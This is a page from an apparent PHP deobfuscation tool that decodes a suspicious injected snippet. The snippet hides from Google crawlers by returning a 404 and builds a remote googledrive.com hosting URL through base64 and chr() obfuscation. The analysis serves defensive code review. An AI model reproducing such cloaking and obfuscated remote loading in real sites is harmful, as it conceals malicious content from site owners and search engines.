Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false || strpos(gethostbyaddr(gete..

Decoded Output download

<? 
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false || strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false || strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'mozilla') !== false){ @header('HTTP/1.0 404 Not Found'); exit(); }$x_1="0B2boBqO6I9J0dEc2eGNXVkRNZWc";$x_4=base64_decode(chr(97).chr(72).chr(82).'0'.'c'.'H'.chr(77).chr(54)."L".'y'."8".'=');$x_0="host";$x_3=base64_decode('Z'.chr(50).chr(57).'v'."Z".'2'."x".chr(108).chr(90).chr(72).chr(74).'p'.chr(100).'m'."U"."u".chr(89).'2'.'9'.'t');$x_2="5ad4e7dc6d7605a4ca62eece3acb348a0c53639e";$css="$x_4$x_2.$x_3/$x_0/$x_1"; 
?>

Did this file decode correctly?

Original Code

<?
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false || strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false || strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'mozilla') !== false){ @header('HTTP/1.0 404 Not Found'); exit(); }$x_1="0B2boBqO6I9J0dEc2eGNXVkRNZWc";$x_4=base64_decode(chr(97).chr(72).chr(82).'0'.'c'.'H'.chr(77).chr(54)."L".'y'."8".'=');$x_0="host";$x_3=base64_decode('Z'.chr(50).chr(57).'v'."Z".'2'."x".chr(108).chr(90).chr(72).chr(74).'p'.chr(100).'m'."U"."u".chr(89).'2'.'9'.'t');$x_2="5ad4e7dc6d7605a4ca62eece3acb348a0c53639e";$css="$x_4$x_2.$x_3/$x_0/$x_1";
?>

Function Calls

getenv 1
strpos 1

Variables

None

Stats

MD5 717b9306c37b4327d126eeade7904b9d
Eval Count 0
Decode Time 87 ms